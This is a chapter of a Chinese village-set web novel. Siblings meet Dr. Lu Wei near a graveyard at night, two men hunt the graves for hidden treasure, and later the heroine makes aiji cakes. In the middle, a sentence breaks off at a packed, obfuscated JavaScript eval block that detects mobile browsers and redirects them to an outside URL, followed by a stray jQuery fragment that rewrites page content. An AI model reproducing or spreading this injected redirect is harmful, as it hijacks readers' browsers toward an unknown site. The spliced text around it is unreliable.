顾予辉“嗷”的一声躲到顾年年身后,瑟瑟发抖。
妹妹救我狗命!
顾年年:“别怕,不是鬼,是人。”
她眼神非常好,能看清楚很远的地方,各种意义上的好。
光团靠近了,原来是陆魏。
他手上拿着手电筒,灯光映衬下丰神如玉。
顾年年想到了深山老林里出来专门勾引人的漂亮狐狸精,这人也太好看了。
她有些释怀未来的自己会跟他勾搭在一起了,毕竟这是个看脸的世界,而她也是个俗人,自然不能免俗。
俗人犯点错,能叫错吗?
只能叫立场不坚定。
“顾年年,你怎么在这里?”陆魏皱着眉头。
眼前的小姑娘穿得有些单薄,虽然眼睛看着他但很明显在发呆,而她身边站着一个高大青年,两人挨得挺近的,显得十分亲密。
他们在谈朋友?
怎么大晚上的跑来这里谈朋友?
就不怕有野物或者坏人吗?
陆魏忍不住有些恼火。
“我来摘点菠萝蜜的树叶,”顾年年礼貌地回复,“陆医生你呢?”
“我有病人住在山的另一边。”陆魏说。
顾年年不得不佩服他的胆大,大晚上敢走山路,还敢经过坟地,“好巧。”
她以为两人不熟,寒暄完以后就各走各的,没想到他停下来,眉毛压得低低的盯着她,“你们不回去吗?”
“我们准备再摘点树叶。”顾年年说。
如果不是因为这个小插曲,他们早摘完菠萝蜜叶子回家了。
陆魏心中火星子直冒,忍不住冷笑说:“你一个姑娘家大晚上跑到这里,不怕危险吗?”
顾年年:???
他没看到她哥在旁边吗?
顾予辉不干了,“不是还有我吗?”
“你能做什么?遇到事就喊‘有鬼’?”陆魏呵呵笑了。
顾予辉石化了,“……你居然听到了?”
“这么大声,只要耳朵没聋都能听到。”陆魏冷笑。
顾予辉:有点丢脸,但不是太多。
顾年年觉得今天陆医生阴阳怪气的,也难怪,这个时候还在出诊,换做她说不定怨气比鬼还大,她不想再经历夜夜挑灯看文件把眼睛熬近视了。
但他说的是她哥诶!
她哥虽然胆子小又怕鬼,但对她超好,她不帮自己哥哥还能帮谁?
“陆医生这话说得好没道理,大晚上,坟地,亮光,换一个八十岁的大爷见了跑得比孙子还快。”顾年年笑吟吟。
护崽的行为使陆魏心里的无名火蹿了起来,他强行忍下这种不熟悉的感觉,“既然怕,就别一个人来这里。”
顾予辉:她不是一个人,还有我跟着呢。
“你管我一个人还是两个人,管好自己比啥都重要,”顾年年回了他一句,伸手拉顾予辉,“哥,我们摘叶子,别理他。”
顾予辉顶着陆魏冰冷的目光,整个人都不好了。
他不想说话,甚至需要一盒救心丸。
陆魏愣了一下,“这是你哥?”
“当然。”顾年年提着灯走到树下,指着一个树桠说,“哥,这里的叶子比较好,你过来搭个手。”
可惜树桠比较高,她够不着,要不就自己动手了。
顾予辉正想去帮忙,没想到陆魏抢先走到顾年年身后,伸手一够便将树桠勾下来。
顾年年被吓了一跳,不可避免地回想到之前所见到的画面。
高高的谷垛。
他温热的呼吸。
她马上弹到一边,“谢谢陆医生,天色这么晚了你先回去吧,就不麻烦你了。”
他看上去挺有空,回去不用洗澡洗衣服睡觉吗?
陆魏搭着树枝的手僵了一下,如果有镜子,他便会发现自己的神情跟以往不太一样,牙关咬得紧紧的,怎么看怎么别扭。
也许他没必要继续呆在这里。
“好。”
陆魏一走,兄妹俩不由得齐齐松了一口气。
顾予辉帮忙捋了一大把叶子下来,装在篮子里,两人便回家去了。
走到半路,顾予辉突然说:“不行,我要锻炼胆子,择日不如撞日,就从坟地开始!”
顾年年:“练胆不用一开始上强度,要一步一步来,我怕你会被吓到。”
“我会怕这区区坟地?世界上有些人比鬼还坏,坟地有什么可怕的?”
顾予辉呵呵笑了,回身遥指坟地,正想做个战前动员,忽然看到坟地有道火光闪烁一下又熄灭了。
难道他眼花了?
“我们还是快点回去吧,练胆这件事以后再说。”顾予辉马上改口。
不管是不好是眼花,大晚上的坟地真的很可怕,光一个个小坟堆在月夜下静静地躺着,就让人非常窒息。
他已经感受到丝丝寒气了。
坟地里,有两个鬼鬼祟祟的身影。
梁业成用外套盖住华超的煤油灯,没好气地说,“你疯了,是怕别人不知道我们在这里吗?”
华超说,“呆在这鬼地方没有灯才让人心里发毛,你就不怕吗?”
“我们两个大男人阳气足,鬼都能打死三只!”
梁业成前不久翻看家里的书,意外得到一张没有署名的信,写信的人表示因为战乱,已经将华蕴道人留下的宝物藏在三姓村祖宅厢房的墙里,等待后人回到祖宅以后挖掘出来,足以吃喝不愁。
三姓村就是现在的水岭村,华水生家住的就是华家的祖宅,梁业成捋清关系后便火急火燎地想跟华妙云相亲,借此机会到华家找线索。
没想到两人第一次见面不欢而散,第二次见面他还被她赶出去——真是奇耻大辱!
梁业成至今想起来都觉得胸闷。
华超问过自己爸妈,不清楚祖先有没有叫华蕴的人,但他们小时候的确听长辈说过村里以前出过一个大人物,小村子也曾经辉煌过,不过随着大人物离开又慢慢没落了。
梁业成便决定来坟地碰碰运气,看能不能找到华蕴道人的墓。
万一找到了呢?
谁说这种好运气轮不到他?
“你从这边找,我从这边找,做事利落点,别让人发现了。”他对华超说。
华超瞪了他一眼:“死蠢,不是告诉你我不识字了吗?”
梁业成:为了宝物,他忍!
“你别不服气,没有我你肯定找不到线索,”华超得意洋洋地说,“帮你这个外姓人,被我祖宗知道了肯定要骂我的。”
他不管什么道德,什么底线,——道德在哪里,底线在哪里,宝物又在哪里?
两人提着灯一个坟茔一个坟茔照过去,大多数坟茔没有墓碑,清明就要到了,有些人会提前扫墓,在坟顶用石头压上一张黄纸。
有墓碑的是一些老坟,年代比较久远,墓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491052|185864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碑上面刻的字已经掉了红漆,很难辨认。
噪鹃一直在鸣叫,声音凄厉,似乎有无数冤屈。
梁业成听得心慌,恨不得塞住耳朵,好在没过多久,他就找到了有用的线索。
“顾公志远……次女华蕴……”他忍不住哈哈大笑起来,“连老天都帮我,这次轮到我抛头露面了!”
华超:这人疯了。
第二天,顾年年出门采田艾,路上刚好遇到要去地里干活的华妙云。
华妙云挂着两个大大的黑眼圈,一看就是昨晚没睡好。
“你不知道我昨晚看到了什么……”她神神秘秘地凑到顾年年耳边说,“我看到坟地那里有鬼火,一闪一闪的,吓死人了,我一晚上没睡好,做梦都有一盏鬼火在梦里晃来晃去!”
她刚好经过,吓得马上跑了。
顾年年说,“你该不会看到的是陆医生吧,昨晚他去山那边出诊,走坟地抄近路回来的。”
华妙云放下心来,“陆医生真男人,居然敢晚上一个人走那条路。”
顾年年也这么觉得。
人长得俊俏,胆子又大,只可惜长了一张嘴。
她摘了满满一篮子田艾,然后回到家里开始清洗。
做艾籺很简单,但前期的准备工作很多,要将田艾捣烂然后混合糯米粉揉成面团,要把菠萝蜜的叶子煮一煮,要炒花生米碾碎花生米……
她一个人做起来却非常耐心,她喜欢籺皮纤维比较多的,捣田艾叶的时候便没有捣得很烂,这样吃起来口感比较特别。
等顾华章他们回来,艾籺已经做好了,空气里满是田艾和菠萝蜜叶子的清香。
她留出两份,一份给华妙云,一份给郑冬梅。
郑冬梅拿到艾籺时喜出望外,“这是年年亲手做的吗?”
一个个艾籺大概有婴儿拳头大小,通体翠绿,表面还有许多芝麻大小的印子,看上去十分可爱。
顾予辉点点头,“她喜欢捣鼓一些吃的,我尝过了,挺好吃的。”
“那我就不客气收下了,等以后我做了什么好吃的,也给她送过去尝尝鲜。”郑冬梅说。
“那再好不过了,你和她一定很聊得来。”顾予辉对此抱有美好的幻想。
郑冬梅抿着嘴笑,又说,“这几天忙我都来不及学新字,等没这么忙了,你可要好好教教我。”
顾予辉挠挠头,“没问题,只是过几天我得去养珠场值班,可能没有空。”
郑冬梅说:“没关系,那你有空的时候来找我,可一定要记得哦。”
顾予辉不敢看她,飞快地点了点头。
“对了,年年什么时候开始参加劳动?”郑冬梅想着得好好表现一下,不能让顾予辉的家人看不起自己,“地里的活看起来比较简单,但挺繁琐挺累人的,到时候我可以带带她。”
顾予辉说:“年年不是知青,不用下地干活。”
她下意识问,“那她不就没有安家费?”
顾予辉觉得她真是太善良了,“你不用怕她没钱花,我和爸的工资都交给她管呢,反正我们又不用花钱。”
郑冬梅:“……”
她知道顾家两个男人宠顾年年,没想到这么宠,顾年年不是来插队的,而是来享福的!
她的钱还得上交,而顾年年却可以自由支配一大笔钱,人和人之间的距离像一道鸿沟。
她人都麻了。
别问,问就是羡慕嫉妒恨。